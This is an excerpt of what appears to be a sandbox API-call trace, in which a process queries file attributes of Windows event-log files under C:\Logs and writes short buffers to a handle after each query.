	[0240.593] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.593] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c3c71c5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8c3c71c5, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.593] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x61, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.593] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc9231, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cc9231, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.594] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.594] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ca2fbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ca2fbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.604] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.604] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c3ed420, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8c3ed420, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x101000)) returned 1
	[0240.604] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.604] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cef47f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cef47f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.605] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.605] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc9231, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cc9231, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.605] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x58, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.606] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc967f17e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc967f17e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.606] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.606] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc96cb64b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc96cb64b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.606] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.606] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca64aa7b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca64aa7b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.612] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.613] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd9ec80, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xfd9ec80, ftLastAccessTime.dwHighDateTime=0x1d1a04f, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.613] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.613] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9658ef3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9658ef3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.613] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.614] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9dcc480, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9dcc480, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.630] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.630] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b4bacf, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50b4bacf, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.631] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.631] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb66288f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.632] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.632] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x506ad1ac, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x506ad1ac, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.632] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.632] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ca2fbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ca2fbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.633] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.633] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5071f8b0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5071f8b0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000)) returned 1
	[0240.633] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.633] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8ebf6d7, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc8ebf6d7, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.633] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.634] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5090f75d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5090f75d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.634] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.634] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd75102f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcd75102f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.634] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.634] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50be4414, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50be4414, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.653] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.653] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50be4414, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50be4414, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.660] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.660] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59547c37, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x59547c37, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.660] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.661] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb7386e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcbb7386e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.661] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.661] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc93d06f0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc93d06f0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.661] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.662] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc93aa49b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc93aa49b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.662] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.662] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9d33b19, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9d33b19, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.663] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x4a, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.663] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbcf0ff2, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcbcf0ff2, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.663] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.663] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ab3154, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ab3154, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.684] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x4a, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.684] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ad9393, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ad9393, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
